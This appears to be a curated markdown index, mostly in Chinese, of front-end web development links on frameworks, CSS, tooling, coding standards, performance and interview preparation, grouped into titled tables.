angular对bootstrap的封装|http://angular-ui.github.io/bootstrap
angularjs + nodejs|https://cnodejs.org/topic/51404e0f069911196d2e3923
吕大豹 Angularjs|http://www.cnblogs.com/lvdabao/tag/AngularJs
AngularJS 最佳实践|http://www.infoq.com/cn/news/2013/02/angular-web-app
Angular的一些扩展指令|http://www.lovelucy.info/angularjs-best-practices.html
Angular数据绑定原理|https://github.com/Pasvaz/bindonce
一些扩展Angular UI组件|https://github.com/angular-ui
Ember和AngularJS的性能测试|http://voidcanvas.com/emberjs-vs-angularjs-performance-testing
带你走近AngularJS - 基本功能介绍|http://www.cnblogs.com/powertoolsteam/p/angularjs-introdection.html
Angularjs开发指南|http://angular.duapp.com/docs/guide
Angularjs学习|http://www.cnblogs.com/amosli/p/3710648.html
不要带着jQuery的思维去学习AngularJS|http://www.rainweb.cn/article/angularjs-jquery.html
angularjs 学习笔记|http://wangjiatao.diandian.com/?tag=angularjs
angularjs 开发指南|http://www.angularjs.cn/T008
angularjs 英文资料|https://github.com/jmcunningham/AngularJS-Learning
angular bootstrap|http://angular-ui.github.io/bootstrap
angular jq mobile|https://github.com/opitzconsulting/jquery-mobile-angular-adapter
angular ui|http://mgcrea.github.io/angular-strap
整合jQuery Mobile+AngularJS经验谈|http://www.tuicool.com/articles/7ZZVr2
有jQuery背景，该如何用AngularJS编程思想|http://blog.jobbole.com/46589/
AngularJS在线教程|http://each.sinaapp.com/angular
angular学习笔记|http://www.zouyesheng.com/angular.html
## __React__
React| 地址
:----:|:----:
react.js 中文论坛|http://www.react-china.org
react.js 官方网址|https://facebook.github.io/react/index.html
react.js 官方文档|https://facebook.github.io/react/docs/getting-started.html
react.js material UI|http://material-ui.com/#
react.js TouchstoneJS UI|http://touchstonejs.io
react.js amazeui UI|http://amazeui.org/react
React 入门实例教程 - 阮一峰|http://www.ruanyifeng.com/blog/2015/03/react.html
React Native 中文版|http://wiki.jikexueyuan.com/project/react-native
Webpack 和 React 小书 - 前端乱炖|http://www.html-js.com/article/Fakefish%203053
Webpack 和 React 小书 - gitbook|https://fakefish.github.io/react-webpack-cookbook
webpack|https://github.com/webpack/webpack
Webpack，101入门体验|http://html-js.com/article/3009
webpack入门教程|http://html-js.com/article/3113
基于webpack搭建前端工程解决方案探索|http://segmentfault.com/a/1190000003499526
## __Js template__
Js template| 地址
:----:|:----:
template-chooser|http://garann.github.io/template-chooser
artTemplate|https://github.com/aui/artTemplate
tomdjs|https://github.com/aui/tmodjs/blob/master/README.md
Fxtpl v1.0 繁星前端模板引擎|http://koen301.github.io/fxtpl
laytpl|http://laytpl.layui.com
mozilla - nunjucks|https://github.com/mozilla/nunjucks
Juicer|https://github.com/PaulGuo/Juicer
dustjs|http://akdubya.github.io/dustjs
etpl|http://ecomfe.github.io/etpl
## **HTML5(HTML)**
HTML(HTML5) | 地址
:----:|:----:
深入理解HTML5标签|https://segmentfault.com/a/1190000002695791
如何写出高效率的HTML|https://segmentfault.com/a/1190000002680822
HTML meta标签总结与属性使用介绍|https://segmentfault.com/a/1190000004279791
戏说HTML5|http://www.cnblogs.com/dojo-lzz/p/5059316.html
## __CSS3(CSS)__
CSS| 地址
:----:|:----:
CSS 语法参考|http://tympanus.net/codrops/css_reference
**如何编写可维护的CSS**|https://github.com/chadluo/CSS-Guidelines/blob/master/README.md
CSS3动画手册|http://isux.tencent.com/css3/index.html
腾讯css3动画制作工具|http://isux.tencent.com/css3/tools.html
志爷css小工具集合|http://linxz.github.io/tianyizone
css3 js 移动大杂烩|http://www.note12.com/category/blog/2014-6-5/538fe0a9f786f1b7019a4dfb
bouncejs 触摸库|http://bouncejs.com
animate.css|http://daneden.github.io/animate.css
全局CSS的终结(狗带 [译]|http://www.alloyteam.com/2015/10/8536
browserhacks|http://browserhacks.com
## __移动端API__
移动端API| 地址
:----:|:----:
99移动端知识集合|https://github.com/jtyjty99999/mobileTech
移动端前端开发知识库|https://github.com/AlloyTeam/Mars
移动前端的一些坑和解决方法（外观表现）|http://caibaojian.com/mobile-web-bug.html
【原】移动web资源整理|http://www.cnblogs.com/PeunZhang/p/3407453.html
zepto 1.0 中文手册|http://www.html-5.cn/Manual/Zepto
zepto 1.1.2|http://www.css88.com/doc/zeptojs_api
zepto 中文注释|http://www.cnblogs.com/sky000/archive/2013/03/29/2988952.html
jqmobile 手册|http://app-framework-software.intel.com/api.php
移动浏览器开发集合|https://github.com/maxzhang/maxzhang.github.com/issues
移动开发大杂烩|https://github.com/hoosin/mobile-web-favorites
## __jQuery__
jQuery| 地址
:----:|:----:
**YOU MIGHT NOT NEED JQUERY**|http://youmightnotneedjquery.com/
jQuery API 中文文档|http://www.jquery123.com
hemin 在线版|http://hemin.cn/jq
css88 jq api|http://www.css88.com/jqapi-1.9/on
css88 jqui api|http://www.css88.com/jquery-ui-api
学习jquery|http://learn.jquery.com
jquery 源码查找|http://james.padolsey.com/jquery
Web前端资源汇总(jQuery,Js,Css3等)|http://www.cnblogs.com/jihua/p/webfront.html
## __D3__
D3| 地址
:----:|:----:
d3 Tutorials|https://github.com/mbostock/d3/wiki/Tutorials
Gallery|https://github.com/mbostock/d3/wiki/Gallery
lofter|http://datavisual.lofter.com/post/40cf3a_188e535
iteye|http://alanland.iteye.com/blog/1878595
ruanyifeng|http://javascript.ruanyifeng.com/library/d3.html
## __Requriejs__
Requriejs| 地址
:----:|:----:
Javascript模块化编程（一）：模块的写法 |http://www.ruanyifeng.com/blog/2012/10/javascript_module.html
Javascript模块化编程（二）：AMD规范|http://www.ruanyifeng.com/blog/2012/10/asynchronous_module_definition.html
Javascript模块化编程（三）：require.js的用法|http://www.ruanyifeng.com/blog/2012/11/require_js.html
RequireJS入门（一）|http://www.cnblogs.com/snandy/archive/2012/05/22/2513652.html
RequireJS入门（二）|http://www.cnblogs.com/snandy/archive/2012/05/23/2513712.html
RequireJS进阶（三）|http://www.cnblogs.com/snandy/archive/2012/06/08/2538001.html
requrie源码学习|http://www.cnblogs.com/yexiaochai/p/3632580.html
requrie 入门指南|http://www.oschina.net/translate/getting-started-with-the-requirejs-library
requrieJS 学习笔记|http://www.cnblogs.com/yexiaochai/p/3214926.html
requriejs 其一 |http://cyj.me/why-seajs/requirejs/
require backbone结合|http://www.cnblogs.com/yexiaochai/p/3221081.html
## __Seajs__
Seajs| 地址
:----:|:----:
seajs|http://seajs.org
seajs 中文手册|http://cyj.me/why-seajs/zh
## __Less,sass__
Less,sass| 地址
:----:|:----:
sass|http://www.w3cplus.com/sassguide
sass教程-sass中国|http://www.sass.hk
Sass 中文文档|http://sass.bootcss.com
less|http://less.bootcss.com
## __Markdown__
Markdown| 地址
:----:|:----:
Markdown 语法说明 (简体中文版|http://wowubuntu.com/markdown
markdown入门参考|https://github.com/LearnShare/Learning-Markdown/blob/master/README.md
gitbook|https://www.gitbook.com 国外的在线markdown可编辑成书
mdeditor|https://www.zybuluo.com/mdeditor 一款国内的在线markdown编辑器
stackedit|https://stackedit.io 国外的在线markdown编辑器，功能强大，同步云盘
mditor|http://bh-lay.github.io/mditor 一款轻量级的markdown编辑器
lepture-editor|https://github.com/lepture/editor
markdown-editor|https://github.com/jbt/markdown-editor
作业部落|https://www.zybuluo.com 功能强大，速度流畅，全平台同步
## __兼容性__
兼容性| 地址
:----:|:----:
esma 兼容列表|http://kangax.github.io/compat-table/es6
W3C CSS验证服务|http://jigsaw.w3.org/css-validator/validator.html.zh-cn
caniuse|http://caniuse.com/#index
csscreator|http://csscreator.com/properties
microsoft|https://msdn.microsoft.com/zh-cn/library/cc351024(v=vs.85.aspx
在线测兼容-移动端|http://www.responsinator.com
emulators|https://www.manymo.com/emulators
## __UI相关__
UI相关| 地址
:----:|:----:
**Foundation** |http://foundation.zurb.com/?form=jeffjade.com
Bootcss|http://v3.bootcss.com/?form=jeffjade.com
**Element UI** | http://element.eleme.io/#/zh-CN 基于Vue
**ANT DESIGN** |http://ant.design 一个 UI 设计语言
Smart UI|http://smartui.chinamzz.com
MetroUICSS|http://www.w3cplus.com/MetroUICSS
Semantic|http://semantic-ui.com
**Layui** | http://www.layui.com/?form=jeffjade.com
Buttons|http://alexwolfe.github.io/Buttons
kitecss|http://hiloki.github.io/kitecss
pintuer|http://www.pintuer.com
amazeui|http://amazeui.org
worldhello|http://www.worldhello.net/gotgithub/index.html
linuxtoy|http://igit.linuxtoy.org/contents.html
gitmagic|http://www-cs-students.stanford.edu/~blynn/gitmagic/intl/zh_cn
rogerdudler|http://rogerdudler.github.io/git-guide/index.zh.html
gitref|http://gitref.justjavac.com
book|http://git-scm.com/book/zh
gogojimmy|http://gogojimmy.net/2012/01/17/how-to-use-git-1-git-basic
## __其它API__
其它API| 地址
:----:|:----:
HTTP API 设计指南|http://segmentfault.com/bookmark/1230000002521721
javascript流行库汇总|javascriptoo
验证api|http://niceue.com/validator/demo/index.php
underscore 中文手册|http://www.css88.com/doc/underscore
underscore源码分析|http://www.html-js.com/article/Underscorejs-source-code-analysis-of-underscorejs-source-code-analysis%203031
underscore源码分析-亚里士朱德的博客|http://yalishizhude.github.io/tags/underscore
underscrejs en api|http://underscorejs.org
lodash - underscore的代替品|https://lodash.com
ext4api|http://extjs-doc-cn.github.io/ext4api
qwrap手册|http://dev.qwrap.com/resource/js/_docs/_youa/#/qw/base/loadJs_.htm
缓动函数|http://easings.net/zh-cn
svg 中文参考|http://www.w3school.com.cn/svg/svg_reference.asp
svg mdn参考|https://developer.mozilla.org/en-US/docs/Web/SVG
svg 导出 canvas|https://github.com/gabelerner/canvg
svg 导出 png|https://github.com/exupero/saveSvgAsPng
ai-to-svg|http://www.zamzar.com/convert/ai-to-svg
localStorage 库|https://github.com/machao/localStorage
## __图表类__
图表类| 地址
:----:|:----:
Highcharts 中文API|http://www.hcharts.cn/api/index.php
Highcharts 英文API|http://api.highcharts.com/highcharts
ECharts 百度的图表软件|http://echarts.baidu.com/
高德地图|http://lbs.amap.com/api
开源的矢量图脚本框架|http://paperjs.org
svg 地图|http://jvectormap.com
## __正则__
正则| 地址
:----:|:----:
JS正则表达式元字符|http://segmentfault.com/a/1190000002471140
正则表达式30分钟入门教程|http://deerchao.net/tutorials/regex/regex.htm
MDN-正则表达式|https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions
ruanyifeng - RegExp对象|http://javascript.ruanyifeng.com/stdlib/regexp.html
小胡子哥 - 进阶正则表达式|http://div.io/topic/764?page=1
is.js|https://github.com/Cedriking/is.js/blob/master/is.js
正则在线测试|http://regexper.com
## __前端规范__
前端规范| 地址
:----:|:----:
通过分析github代码库总结出来的工程师代码书写习惯|http://alloyteam.github.io/CodeGuide
HTML&CSS编码规范 by @mdo|http://codeguide.bootcss.com
团队合作的css命名规范-腾讯AlloyTeam前端团队|http://www.alloyteam.com/2011/10/css-on-team-naming/
前端编码规范之js - by yuwenhui|http://yuwenhui.github.io
前端编码规范之js - by 李靖|http://www.cnblogs.com/hustskyking/p/javascript-spec.html
前端开发规范手册|http://zhibimo.com/read/Ashu/front-end-style-guide
Airbnb JavaScript 编码规范（简体中文版）|https://github.com/yuche/javascript#table-of-contents
AMD与CMD规范的区别|http://www.zhihu.com/question/20351507
AMD与CMD规范的区别|http://www.cnblogs.com/tugenhua0707/p/3507957.html
KISSY 源码规范|http://docs.kissyui.com/1.4/docs/html/tutorials/style-guide/kissy-source-style.html
bt编码规范|http://codeguide.bootcss.com
规范加强版|https://github.com/Suxiaogang/Code_Guide
前端代码规范 及 最佳实践|http://blog.jobbole.com/79075
百度前端规范|http://coderlmn.github.io/code-standards
百度前端规范|http://isobar-idev.github.io/code-standards
百度前端规范|http://zhuanlan.zhihu.com/fuyun/19884834
ECMAScript6 编码规范--广发证券前端团队|https://github.com/gf-rd/es6-coding-style
JavaScript 风格指南/编码规范（Airbnb公司版）|http://blog.jobbole.com/79484
网易前端开发规范|http://nec.netease.com/standard
css模块|http://www.75team.com/archives/1049
前端规范资源列表|https://github.com/ecomfe/spec
## __PHP__
PHP| 地址
:----:|:----:
最流行的PHP 代码规范|http://segmentfault.com/a/1190000000443795
最流行的PHP 代码规范|https://github.com/hfcorriez/fig-standards/blob/zh_CN/%E6%8E%A5%E5%8F%97/PSR-2-coding-style-guide.md
## __各大公司开源项目__
各大公司开源项目| 地址
:----:|:----:
Facebook Projects|https://code.facebook.com/projects/web
百度web前端研发部|http://fex.baidu.com
百度EFE|http://efe.baidu.com
百度github|https://github.com/fex-team
alloyteam|http://www.alloyteam.com
alloyteam-github|http://alloyteam.github.io
alloyteam-AlloyGameEngine|https://github.com/AlloyTeam/AlloyGameEngine
AlloyDesigner|http://alloyteam.github.io/AlloyDesigner 即时修改，即时保存，设计稿较正，其它开发辅助工具
H5交互页编辑器AEditor介绍|http://www.alloyteam.com/2015/06/h5-jiao-hu-ye-bian-ji-qi-aeditor-jie-shao H5动画交互页开发的工具介绍
AEditor|http://aeditor.alloyteam.com H5动画交互页开发的工具
值得订阅的weekly|https://github.com/fenbility/weekly-feed
奇舞团开源项目|http://75team.github.io
Qunar UED|http://ued.qunar.com
## __常用__
常用 |地址
:----:|:----:
ieBetter.js-让IE6-IE8拥有IE9+,Chrome等浏览器特性|http://www.zhangxinxu.com/wordpress/2013/12/iebetter-js-make-ie6-ie8-like-modern-browser-ie9-chrome
模拟键盘|http://mottie.github.io/Keyboard
拼音|https://github.com/hotoo/pinyin
中国个人身份证号验证|https://github.com/mc-zone/IDValidator
## __算法__
算法 | 地址
:----:|:----:
数据结构与算法 JavaScript 描述. 章节练习|https://github.com/Ralph-Wang/algorithm.in.js
常见排序算法（JS版）|https://github.com/twobin/twobinSort
经典排序|https://github.com/luofei2011/jsAgm/blob/master/js/sort.js
常见排序算法-js版本|https://github.com/hechangmin/jssort
JavaScript 算法与数据结构 精华集|https://github.com/lightningtgc/JavaScript-Algorithms
面试常考算法题精讲|http://www.nowcoder.com/live/courses
## __移动端__
移动端 | 地址
:----:|:----:
fastclick|https://github.com/ftlabs/fastclick
no-click-delay|https://github.com/mmastrac/jquery-noclickdelay
【敏捷开发】Android团队开发规范|http://www.cnblogs.com/lcw/p/3619181.html
Android 开发规范与应用|http://www.jianshu.com/p/4390f4fe19b3
**ionic** | https://github.com/ychow/ionic-guide
## __JSON__
JSON | 地址
:----:|:----:
模拟生成JSON数据|http://beta.json-generator.com
## __焦点图__
焦点图 | 地址
:----:|:----:
myfocus|https://github.com/koen301/myfocus
myfocus-官方演示站|http://www.chhua.com/myfocus
SuperSlidev2.1 -- 大话主席|http://www.superslide2.com
soChange|http://www.bujichong.com/sojs/soChange/index.html
## __Ext, EasyUI, J-UI 及其它各种UI方案__
Ext, EasyUI, J-UI 及其它各种UI方案 | 地址
:----:|:----:
雅虎UI - CSS UI|http://developer.yahoo.com/yui/grids
extjs|https://www.sencha.com/products/extjs
ext4英文api|http://docs.sencha.com/extjs/4.0.7
ext4中文api|http://extjs-doc-cn.github.io/ext4api
jquery easyui 未压缩源代码|http://jquery-easyui.googlecode.com/svn/trunk/src
J-UI|http://jui.org
MUI-最接近原生APP体验的高性能前端框架|http://dcloudio.github.io/mui
Amaze UI(中国首个开源 HTML5 跨屏前端框架)|http://amazeui.org
淘宝 HTML5 前端框架|http://m.sui.taobao.org
KISSY - 阿里前端JavaScript库|http://docs.kissyui.com
网易Nej - Nice Easy Javascript|http://nej.netease.com
Kendo UI MVVM Demo|http://demos.telerik.com/kendo-ui/mvvm/index
## __页面 社会化 分享功能__
页面 社会化 分享功能 | 地址
:----:|:----:
百度分享|http://share.baidu.com pc端
JiaThis|http://jiathis.com pc端
社会化分享组件|http://developer.baidu.com/soc/share 移动端
ShareSDK 轻松实现社会化功能|http://www.mob.com/#/index 移动端
友盟分享|http://dev.umeng.com/social/android/quick-integration 移动端
## __富文本编辑器__
富文本编辑器 | 地址
:----:|:----:
功能齐全 tinymce|https://www.tinymce.com
百度 ueditor|http://ueditor.baidu.com/website
经典的ckeditor|http://ckeditor.com
经典的kindeditor|http://kindeditor.net
wysiwyg|http://www.bootcss.com/p/bootstrap-wysiwyg
一个有情怀的编辑器。Bach's Editor|http://integ.github.io/BachEditor
tower用的编辑器|https://github.com/mycolorway/simditor
summernote 编辑器|https://github.com/summernote/summernote
html5编辑器|http://neilj.github.io/Squire
Quilljs编辑器 | http://quilljs.com
wangEditor|https://github.com/wangfupeng1988/wangEditor
## __前端概述__
前端概述 | 地址
:----:|:----:
前端工具大全|http://www.awesomes.cn
什么是前端工程化|https://github.com/fouber/blog/issues/10?from=timeline&isappinstalled=0#
[译] 前端攻略-从路人甲到英雄无敌|https://segmentfault.com/a/1190000005174755
## __Gulp__
Gulp | 地址
:----:|:----:
Gulp官网|http://gulpjs.com
Gulp中文网|http://www.gulpjs.com.cn
gulp资料收集|https://github.com/Platform-CUF/use-gulp
Gulp：任务自动管理工具 - ruanyifeng|http://javascript.ruanyifeng.com/tool/gulp.html
Gulp插件|http://gulpjs.com/plugins
Gulp探究折腾之路(I)|http://www.jeffjade.com/2015/11/25/2015-11-25-toss-gulp/
Gulp折腾之路(II)|http://www.jeffjade.com/2016/01/19/2016-01-19-toss-gulp/
Gulp不完全入门教程|http://www.ido321.com/1622.html
为什么使用gulp?|https://github.com/hjzheng/CUF_meeting_knowledge_share/issues/33
Gulp安装及配合组件构建前端开发一体化|http://www.dbpoo.com/getting-started-with-gulp
Gulp 入门指南|https://github.com/nimojs/gulp-book
Gulp 入门指南 - nimojs|https://github.com/nimojs/blog/issues/19
Gulp in Action|http://www.imooc.com/video/5692
Gulp开发教程（翻译）|http://www.w3ctech.com/topic/134
前端构建工具gulpjs的使用介绍及技巧|http://www.cnblogs.com/2050/p/4198792.html
## __Grunt__
Grunt | 地址
:----:|:----:
gruntjs|http://gruntjs.com
Grunt中文网|http://www.gruntjs.net
## __Fis__
Fis | 地址
:----:|:----:
fis 官网|http://fex-team.github.io/fis-site/index.html
fis|http://fis.baidu.com
## __pc图轮__
pc图轮 | 地址
:----:|:----:
Vue 的图片轮播组件:vue-slider|https://github.com/qusiba/vue-slider
左右按钮多图切换|http://bxslider.com/examples/carousel-demystified
fullpage全屏轮播|https://github.com/alvarotrigo/fullPage.js
## __移动端图轮__
移动端图轮 | 地址
:----:|:----:
滑屏效果|http://www.idangero.us/swiper
全屏fullpage|https://github.com/peunzhang/fullpage
单个图片切换|https://github.com/qiqiboy/touchslider
单个全屏切换|https://github.com/peunzhang/slip.js
单个全屏切换|https://github.com/peunzhang/iSlider
滑屏效果|https://github.com/saw/touch-interfaces
旋转拖动设置|http://baijs.com/tinycircleslider
类似于swipe切换|http://touchslider.com
支持多种形式的触摸滑动|http://www.swiper.com.cn/demo/index.html
滑屏效果|https://github.com/joker-ye/main/blob/master/wap/index.html
大话主席pc移动图片轮换|http://www.superslide2.com
滑屏效果|https://github.com/hahnzhu/parallax.js
基于zepto的fullpage|https://github.com/yanhaijing/zepto.fullpage
[WebApp]定宽网页设计下，固定宽度布局开发WebApp并实现多终端下WebApp布局自适应|http://www.cnblogs.com/plums/archive/2013/01/10/WebApp-fixed-width-layout-of-multi-terminal-adapter-since.html
判断微信客户端的那些坑|http://loo2k.com/blog/detecting-wechat-client
可以通过javascript直接调用原生分享的工具|https://github.com/JefferyWang/nativeShare.js
JiaThis 分享到微信代码|http://www.jiathis.com/help/html/weixin-share-code
聊聊移动端跨平台开发的各种技术|http://fex.baidu.com/blog/2015/05/cross-mobile
前端自动化测试|http://www.zhihu.com/question/29922082
多种轮换图片|http://ajccom.github.io/niceslider
滑动侧边栏|https://mango.github.io/slideout
## __文件上传__
文件上传 | 地址
:----:|:----:
百度上传组件|http://fex.baidu.com/webuploader
上传|https://blueimp.github.io/jQuery-File-Upload
flash 头像上传|http://www.hdfu.net
图片上传预览|http://www.dropzonejs.com
图片裁剪|http://elemefe.github.io/image-cropper
图片裁剪-shearphoto|http://www.shearphoto.com
jQuery图片处理|http://www.oschina.net/project/tag/284/jquery-image-tools?lang=0&os=0&sort=view&p=2
## __模拟select__
模拟select | 地址
:----:|:----:
糖饼 select|http://aui.github.io/popupjs/doc/selectbox.html
flexselect|https://github.com/rmm5t/jquery-flexselect
双select|http://loudev.com
select2|http://select2.github.io
## __取色插件__
取色插件 | 地址
:----:|:----:
类似 Photoshop 的界面取色插件|http://www.jq22.com/plugin/367
jquery color|https://github.com/jquery/jquery-color
取色插件集合|http://www.oschina.net/project/tag/287/color-picker
farbtastic 圆环＋正方形|https://github.com/mattfarina/farbtastic
## __城市联动__
城市联动 | 地址
:----:|:----:
jquery.cityselect.js基于jQuery+JSON的省市或自定义联动效果|http://www.ijquery.cn/?p=360
## __剪贴板__
剪贴板 | 地址
:----:|:----:
剪贴板|https://github.com/zeroclipboard/zeroclipboard
clipboard 最新的剪切方案|http://zenorocha.github.io/clipboard.js
不是Flash的剪贴板|https://github.com/zenorocha/clipboard.js
## __简繁转换__
简繁转换 | 地址
:----:|:----:
简繁转换|https://github.com/BYVoid/OpenCC
## __表格 Grid__
表格 Grid | 地址
:----:|:----:
facebook表格|http://facebook.github.io/fixed-data-table
类似于Excel编辑表格-handsontable|http://handsontable.com
bootstrap-table插件|http://bootstrap-table.wenzhixin.net.cn
datatables|https://www.datatables.net
## __在线演示__
在线演示 | 地址
:----:|:----:
js 在线编辑 - runjs|http://runjs.cn
js 在线编辑 - jsbin|http://jsbin.com
js 在线编辑 - codepen|http://codepen.io
js 在线编辑 - jsfiddle|http://jsfiddle.net
java 在线编辑 - runjs|http://ideone.com
js 在线编辑 - hcharts|http://code.hcharts.cn
js 在线编辑 - jsdm|http://jsdm.com
sql 在线编辑 - sqlfiddle|http://sqlfiddle.com
mozilla 在线编辑器|https://thimble.mozilla.org
## __常规优化__
常规优化|地址
:----:|:----:
Javascript高性能动画与页面渲染|http://www.infoq.com/cn/articles/javascript-high-performance-animation-and-page-rendering
移动H5前端性能优化指南|http://isux.tencent.com/h5-performance.html
5173首页前端性能优化实践|http://ued.5173.com/?p=1731
给网页设计师和前端开发者看的前端性能优化|http://www.uisdc.com/front-end-performance-for-web-designers-and-front-end-developers
复杂应用的 CSS 性能分析和优化建议|http://www.orzpoint.com/profiling-css-and-optimization-notes
张鑫旭——前端性能| [张鑫旭——前端性能](http://www.zhangxinxu.com/wordpress/tag/%E5%89%8D%E7%AB%AF%E6%80%A7%E8%83%BD)
前端性能监控总结|http://www.xiaoqiang.org/javascript/font-end-performance-monitor.html
网站性能优化之CSS无图片技术| [网站性能优化之CSS无图片技术](http://udc.weibo.com/2013/05/%E7%BD%91%E7%AB%99%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96%E4%B9%8Bcss%E6%97%A0%E5%9B%BE%E7%89%87%E6%8A%80%E6%9C%AF)
web前端性能优化进阶路| [web前端性能优化进阶路](http://www.aliued.cn/2013/01/20/web%E5%89%8D%E7%AB%AF%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96%E8%BF%9B%E9%98%B6%E8%B7%AF.html)
前端技术：网站性能优化之CSS无图片技术|http://my.eoe.cn/tuwandou/archive/4544.html
浏览器的加载与页面性能优化|http://www.baiduux.com/blog/2011/02/15/browser-loading
页面加载中的图片性能优化|http://www.w3ctech.com/p/1503
Hey——前端性能| [Hey——前端性能](http://www.feelcss.com/tag/%E5%89%8D%E7%AB%AF%E6%80%A7%E8%83%BD)
html优化| [html优化](http://www.baiduux.com/blog/2010/03/15/html%E4%BC%98%E5%8C%96-2)
99css——性能| [99css——性能](http://www.99css.com/tag/%e6%80%a7%e8%83%bd)
YSLOW中文介绍|http://www.cnblogs.com/yslow
转一篇Yahoo关于网站性能优化的文章，兼谈本站要做的优化|http://www.360ito.com/article/40.html
Yahoo!团队实践分享：网站性能|http://www.360doc.com/content/10/0928/09/2588264_56971287.shtml
网站性能优化指南：什么使我们的网站变慢？|http://blog.jiasule.com/i/153
网站性能优化实践，减少加载时间，提高用户体验|http://www.powereasy.net/helpyou/knowledge/ecommerce/9593.html
前端重构实践之如何对网站性能优化？|http://www.adinnet.cn/blog/designview/2012-7-12/678.html
前端性能优化：使用媒体查询加载指定大小的背景图片|http://www.gbin1.com/technology/javascript/20130708-front-end-performance-optimization-9
网站性能系列博文|http://www.mykuer.com/post/factors-that-affect-the-speed-of-web-site-open.html
加载，不只是少一点点|http://tgideas.qq.com/webplat/info/news_version3/804/808/811/m579/201109/41355.shtml
前端性能的测试与优化|http://mzhou.me/article/95310
分享网页加载速度优化的一些技巧？|http://www.gbin1.com/technology/html/20130217-tips-for-speed-up-page-loading
web前端优化(基于Yslow|http://www.tcreator.info/webSchool/website/Front-end-Opt-Yslow.html
网站性能优化工具大全|https://www.qianduan.net/website-performance-optimization-tool.html
【高性能前端1】高性能HTML|http://www.alloyteam.com/2012/10/high-performance-html
【高性能前端2】高性能CSS|http://www.alloyteam.com/2012/10/high-performance-css
由12306谈谈网站前端性能和后端性能优化|http://coolshell.cn/articles/6470.html
AlloyTeam——前端优化| [AlloyTeam——前端优化](http://www.alloyteam.com/webfrontend/%E5%89%8D%E7%AB%AF%E4%BC%98%E5%8C%96)
毫秒必争，前端网页性能最佳实践|http://www.cnblogs.com/developersupport/p/3248695.html
网站性能工具Yslow的使用方法|http://blog.sina.com.cn/s/blog_6e9d2e0701017kvu.html
前端工程与性能优化（上）：静态资源版本更新与缓存|http://www.infoq.com/cn/articles/front-end-engineering-and-performance-optimization-part1
前端工程与性能优化（下）：静态资源管理与模板框架|http://www.infoq.com/cn/articles/front-end-engineering-and-performance-optimization-part2
HTTPS连接的前几毫秒发生了什么|http://blog.jobbole.com/48369
Yslow|http://uicss.cn/yslow/#more-12319
Essential Web Performance Metrics — A Primer, Part 1|http://blog.smartbear.com/web-performance/essential-web-performance-metrics-a-primer-part-1
Essential Web Performance Metrics — Part 2|http://blog.smartbear.com/performance/essential-web-performance-metrics-part-2
YUISlide,针对移动设备的动画性能优化|http://jayli.github.io/blog/data/2011/12/23/yuislide.html
Improving Site Performance|http://joelglovier.com/improving-site-performance
让网站提速的最佳前端实践|http://segmentfault.com/a/1190000000367899
Why Website Speed is Important|http://sixrevisions.com/web-development/why-website-speed-is-important
Need for Speed – How to Improve your Website Performance|https://www.devbridge.com/articles/need-for-speed-how-to-improve-your-website-performance
阿里无线前端性能优化指南 (Pt.1 加载期优化 |https://github.com/amfe/article/issues/1
## __优化工具__
优化工具|地址
:----:|:----:
JavaScript 性能分析新工具 OneProfile|http://www.html-js.com/article/3083
JavaScript 堆内存分析新工具 OneHeap|http://www.html-js.com/article/3091
## __在线工具__
在线工具|地址
:----:|:----:
google在线工具|https://developers.google.com/speed/pagespeed/insights
阿里-免费测试服务|http://itest.aliyun.com
阿里-F2etest多浏览器兼容性测试解决方案|https://github.com/alibaba/f2etest
js性能测试|http://jsperf.com
## __前端架构__
前端架构|地址
:----:|:----:
技术架构|http://www.zhihu.com/topic/19612641
前端架构|http://saito.im/note/The-Architecture-of-F2E
如何成为前端架构师|http://www.zhihu.com/question/24092572
关于前端架构-张克军|http://hikejun.com/sharing/2010webrebuild/?file=fe-infrastructure.html
百度腾讯offer比较（腾讯游戏VS百度基础架构）|http://www.zhihu.com/question/25583350
## __推荐作品__
推荐作品|地址
:----:|:----:
winter代码片段需要翻墙|https://gist.github.com/wintercn
fgm|http://www.fgm.cc/learn
岑安作品集|https://github.com/hongru/hongru.github.com
当耐特demo集合|http://kmdjs.github.io
米空格 js作品|http://www.laoshu133.com/Lab
myFocus|http://koen301.github.io
SeaJS组件库|http://panxuepeng.github.io/seajslib
颜海镜作品|http://yanhaijing.com/myProject
脚儿网作品|http://jo2.org/category/myworks
javascript个人作品|http://www.cnitblog.com/yemoo/category/3107.html
妙味的雷东升游戏作品|http://bbs.miaov.com/forum.php?mod=viewthread&tid=7790
javascript作品集|http://bbs.csdn.net/topics/380227212
云五笔，灰度产生生成工具|https://github.com/TooBug/works
项目主页|http://koen301.github.io
个性的作品主页|http://zaole.net
ucren js demos 集|http://ucren.com/blog/demos
智能社|http://www.zhinengshe.com/works_list.html
实例陈列架|http://demos.shizuwu.cn
zoye demo|http://zoye.sinaapp.com/demo
平凡|http://pingfan1990.sinaapp.com
jyg 游戏案例|http://www.lovewebgames.com
很多jquery插件|http://www.helloweba.com/list.html
不羁虫 - soJs 作品系列|http://www.bujichong.com/sojs/api/index.html
frozenui|http://frozenui.github.io/case.html
黑白棋|http://js-game.github.io/othello
fromone|http://yansm.github.io/fromone/index.html
pazguille|http://pazguille.me
**Html5 VideoPlayer**|https://github.com/zmmbreeze/DeadSimpleVideoPlayer
**Proton 烟花**|http://a-jie.github.io/Proton/#example
## __简历模板__
简历模板|地址
:----:|:----:
简历|http://hcy2367.github.io/resume
张伦|http://ncuey.sinaapp.com/CrispElite/
简历|https://github.com/hacke2/ResumeSample
马斯特|http://pinkyjie.com/resume
张秋怡|https://joyeecheung.github.io/resume/
翁天信|http://blog.dandyweng.com/2013/07/how-my-website-was-created
动画方式的简历|http://www.webhek.com/misc/interactive-resume
组件丰富简历|http://www.linqing07.com/resume.html
haorooms博客|http://www.haorooms.com/about
## __面试题__
面试题|地址
:----:|:----:
那几个月在找工作（百度，网易游戏）|http://www.nowcoder.com/discuss/3196
2014最新面试题|http://www.html-js.com/article/1743
2016校招内推 -- 阿里巴巴前端 -- 三面面试经历 |http://www.cnblogs.com/imwtr/p/4685546.html
年后跳槽那点事：乐视+金山+360面试之行|http://www.cnblogs.com/lvdabao/p/3660707.html
Interviewing a front-end developer| http://blog.sourcing.io/interview-questions
拉勾网js面试题|http://www.cnblogs.com/52cik/p/js-question-lg.html
前端面试|http://www.cnblogs.com/allenxing/p/3724382.html
Web开发笔试面试题 大全|http://mianshiti.diandian.com
前端开发面试题|http://segmentfault.com/a/1190000000465431
